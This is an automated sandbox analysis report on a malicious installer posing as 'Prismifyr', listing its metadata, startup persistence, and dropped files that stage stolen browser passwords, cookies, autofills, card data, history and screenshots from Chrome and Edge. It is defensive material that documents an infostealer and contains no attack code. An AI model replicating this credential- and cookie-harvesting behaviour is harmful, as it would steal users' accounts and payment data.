https://nodejs.org/api/fs.html#fs_fs_writefile_file_data_options_callback).	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://code.google.com/p/gyp/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://w3c.github.io/aria/#aria-hidden.Blocked	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://docs.python.org/2/library/subprocess.html:	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://goo.gl/HxfxSQOrigin	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://nodejs.org/api/fs.html#fs_fs_writefilesync_file_data_options)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crl.godaddy.com/gds1-20	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://sqlite.org/forum/forumpost/726219164b	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://developer.android.com/tools/extras/support-library.html	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541090
Start date and time:	2024-10-24 12:01:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Detection:	MAL
Classification:	mal60.adwa.spyw.winEXE@48/136@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 41 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
VT rate limit hit for: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Simulations

Behavior and APIs

Time	Type	Description
06:02:30	API Interceptor	20x Sleep call for process: Prismifyr_Installer_v2.1 Setup 1.0.0.exe modified
06:02:59	API Interceptor	16x Sleep call for process: powershell.exe modified
12:03:13	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\d3dcompiler_47.dll	svchost.exe	Get hash	malicious	Unknown	Browse
	JaborSetup.exe	Get hash	malicious	Unknown	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	DungeOfDestiny Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Game.exe	Get hash	malicious	Unknown	Browse
	bot_library.exe	Get hash	malicious	Unknown	Browse
	svAsYrT598.exe	Get hash	malicious	Unknown	Browse
	kc8qrDHj1V.exe	Get hash	malicious	Unknown	Browse
	Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\ProgramData\Passwords\Passwords.txt

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.2776134368191157
Encrypted:	false
SSDEEP:	3:SWSKXB5LQ:lSKXvLQ
MD5:	1B62F8861D5FB6932E6BC28C2D629F80
SHA1:	8A35DBA7006B138C1EA87918A2373A52462FAE0D
SHA-256:	EC4181FA4DA153D819F2850B51A5697D1B68BB0FE005047897F911D7B0F1CDA3
SHA-512:	CE42BFC0DAFC54FD63A4A3F8DED46917D4D37E77E469A2E3D1F8D2EB8B2406CAD7E7FECEF7E40A39C143F323F9E8C8E28E12306485248E4040FA0D877BFFB9F3
Malicious:	true
Preview:	no password found for

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Autofills\Autofills.txt

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	38
Entropy (8bit):	3.8301826981560274
Encrypted:	false
SSDEEP:	3:PQRKcJW5KeBF3R3AV:PQRKcY5JFh3AV
MD5:	A9ABCDF8B95C77D28F375059735CF869
SHA1:	777D43D8EFF0B86F071B5BE1094A47C7A1E5CD6B
SHA-256:	3664D16D47D3E7CD460E115BE845C856BA01D8148CB1B322F46C92D1B7FAE87B
SHA-512:	9805838DB162353B7FFF8B4F780E4DD633C4ADA17A6484B60DC53C05CFB7DDCF6C9B5A8C2152E487AE1A8CEF16F2E9BC13069D5F7048D5203BB1664911214B3F
Malicious:	true
Preview:	No autofills found for Google Default.

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Bookmarks\Bookmarks.txt

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	38
Entropy (8bit):	3.984348238943494
Encrypted:	false
SSDEEP:	3:MRn+nJF3R3AV:O+JFh3AV
MD5:	3CCDE141A644177CCFEF42671BC05729
SHA1:	2B836E8CE1CA28E305E784011888A482970814BF
SHA-256:	4B399E4980A0AB09BCB8263DFF5F2A3EBAF500995A98994536AB27D3021E5D7A
SHA-512:	1CE7D9431E18FAC1CCC0FE026593B625D7CF5CEFA677E4BBE061AEB92A0D8E11211E2DC4C772D00898433E15928AF52D57E782F42C2F210BF6350CBCAE4B96ED
Malicious:	false
Preview:	No bookmarks found for Google Default.

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Cookies\Google_Default.txt

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	273
Entropy (8bit):	5.849802292364643
Encrypted:	false
SSDEEP:	6:Pk3rocHDKJlSMDuyXdt3RdVAkEhW/UPmTU4OvOrGISsc3rocHDyzxbz:c79mlDuyXv3RdJqmOvO60c79El
MD5:	DD605F6047E733234D956ACDAC6C2CBD
SHA1:	9AD8EFB6F1F64BC0CBE5600BE933FCDC9C84C913
SHA-256:	1D5C69E539666543622C83F888C595A540285ACAE1F1D9A475CA7D524B736396
SHA-512:	3FBD2B2B0F983612E44BDA05FB9D1E11026DE464F3D2DEB4DA3889C8C363145BE51B77BFACB41038545AAE241E484E83F167396E06D581F3F628C684E40CE272
Malicious:	true
Preview:	.google.com.TRUE./.FALSE.2597573456.NID.511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg..google.com.TRUE./.FALSE.2597573456.1P_JAR.2023-10-05-06.

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Credit Card\Cards.txt

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.2359263506290334
Encrypted:	false
SSDEEP:	3:0Cln:jn
MD5:	53141EAFEAB294780AA9A86A7484510F
SHA1:	AD8925270C1A270F37B158147843FFCA3E157EFB
SHA-256:	F33C30531D5A9B7CEBDD5F470F30BE8C038B38185021C405F031E2DDFBA422FB
SHA-512:	86507915A541D3ECE8DA3B7DBBC6FB99F64853FA1460698EFF6B14322B2D904DD7B889F09C04DE1E12DCEAA1D59E70D94638173806F23D9F21850EA94152D484
Malicious:	true
Preview:	no cards found

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\History\History.txt

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.0067499186387785
Encrypted:	false
SSDEEP:	3:GX7JP3R3AV:eh3AV
MD5:	BCD6AC81DB0CA6BF68E1CFC4ED70CBF1
SHA1:	66AC8872C0513C02E3B2499FB621F824F587A5E4
SHA-256:	9C9F32F5A0094A9E1D11E8DC6FC19A8F161434833EA0A2C5448F0172B0E4B245
SHA-512:	CD8D2B0A5D9EE5FA7D8D665CB6D1ECC901A85BE0A657962481E167E341974DB5510049BA7B93D18E96C9686E3563AF1D69AF47D4F229BB4336916AB43153D1CB
Malicious:	false
Preview:	No history found for Google Default.

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Passwords\Passwords.txt

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.2776134368191157
Encrypted:	false
SSDEEP:	3:SWSKXB5LQ:lSKXvLQ
MD5:	1B62F8861D5FB6932E6BC28C2D629F80
SHA1:	8A35DBA7006B138C1EA87918A2373A52462FAE0D
SHA-256:	EC4181FA4DA153D819F2850B51A5697D1B68BB0FE005047897F911D7B0F1CDA3
SHA-512:	CE42BFC0DAFC54FD63A4A3F8DED46917D4D37E77E469A2E3D1F8D2EB8B2406CAD7E7FECEF7E40A39C143F323F9E8C8E28E12306485248E4040FA0D877BFFB9F3
Malicious:	true
Preview:	no password found for

C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Screenshots\Screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	723774
Entropy (8bit):	7.929666169821963
Encrypted:	false
SSDEEP:	12288:HZ/HLvaMWGmn4woKZc9FwK2iIeOEM8505vPRm+OjEYLtMK26MS6NNu8qCKOhiHlP:HpLdWGWrUInEB5CZmuYLtL26MS6H7KO8
MD5:	2F89AF054F06FFA920DA05F08AB9021D
SHA1:	381ACF8F43551143AE51F1557C72903C25647412
SHA-256:	A8E754F496AE6DC88DC8876FBA62E817AE600EA6C03D88453D81F49D71CDFFAB
SHA-512:	8CA71BD3B5B8D22AF2C65F2C6B3E403BFF9F9DD8C0495A2125284A2735E15015F960E0D3BCCDEE8CB75FBCB6190895A0D23840ED62234D39046DBAA1855F25FD
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....mG....].........t....37f...w4.=...H.A....^H .......0.........#t..... .....U..........".../....R.z..:.S~^M.g..t.....m~...g..=i..91}..fM....9!.....zQ\|..*..5I....q.t.}..\|..}.&.......F......b..}l..G.).......t.J..`....=.L.^.=...I.9........~....9.=.91.......o.t?~.XL.t?v..\|..E.......3.~...L}H..#.=0.9..}.....1>........#1....}.m.YT0....;.O,..zW...w..e.;.....s.v..?....L..G.Eo..z..{ ...?.9.+V.....m_c..E..~.L.[..{..\|......j.n....y...xSf..7....>....KR.`.....Pu.x...R...R\k....}j..>..K..j`.y...S{_.....j.>i........}.4}..[..u9.t..%.K9{..A.......T...:.^.....}...X.O.d...)gYj..Ky.K.K...W.9..>.].....hK...].....m`.h.4...NW...{^_-.#...K.t.~...WT............N.U..............%.^.Y.K.n....c~Y..K.._....X..;...O{....c`...R\|.4.P.j..g.mwi.........y..M.n.......V...... ...v....m.....Z.e.5......j.x....%.-.uS....q...{.b.O...Uw.s^g..rL....b

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Vortex_Cookies

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	true
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\history.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	true
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	true
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\screenCapture_1.3.2.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	862
Entropy (8bit):	5.389156768960034
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIsCKDE4KGKZI6Kh6+84xp3/VclT:MxHKQ71qHGIsCYHKGSI6o6+vxp3/elT
MD5:	ECB6C3B4BC34F9A6B6D6A47A91A9F431
SHA1:	874ADDE9AB5F7FC4D34F4226690423209C94DA24
SHA-256:	F31996CFFF16D9D359817845CB9E8B97A0905397F5586F431DD6BB0FF0114B74
SHA-512:	4AE332166345D0D9E3CAD584A8C9C57092D1F0A428A2AC12373DB58F78B653846A7A27828DE1F521CE81A9CCEA73C143BA7D0FE91A9FCB9F80CD144AFFBA93D9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Vortex_Cookies

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\history.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	true
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\passwords.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\webdata.db

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	5.327864461742126
Encrypted:	false
SSDEEP:	24:3ZCl1SKco4KmZjKbm51s4RPT6moUe7u1o+m9qr9t7J0gt/NKIl9r8Hq:Yl1SU4xymI4RfoUeCa+m9qr9tK8NDd
MD5:	2A5D755522253DD41D4AC6EA880ECB61
SHA1:	86EFAB962AC00866CDC8FE8FD9DC71E3D8DD2DC8
SHA-256:	109CD73CF623F351604DC72827AF712804938F2E61DCE87160059FD802D295D8
SHA-512:	6A19C8CE27DA4B02D5615C0A75B538301CA4F4D44E268541F7805648184BC47D6A038EBC2B50AE0886A6806DCD232BD3C6F2F5A1190F94234C3C85E262789A77
Malicious:	false
Preview:	@...e................................................@..........8...................=.@G..?...o.........System.Security.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D.......

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\LICENSE.electron.txt

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
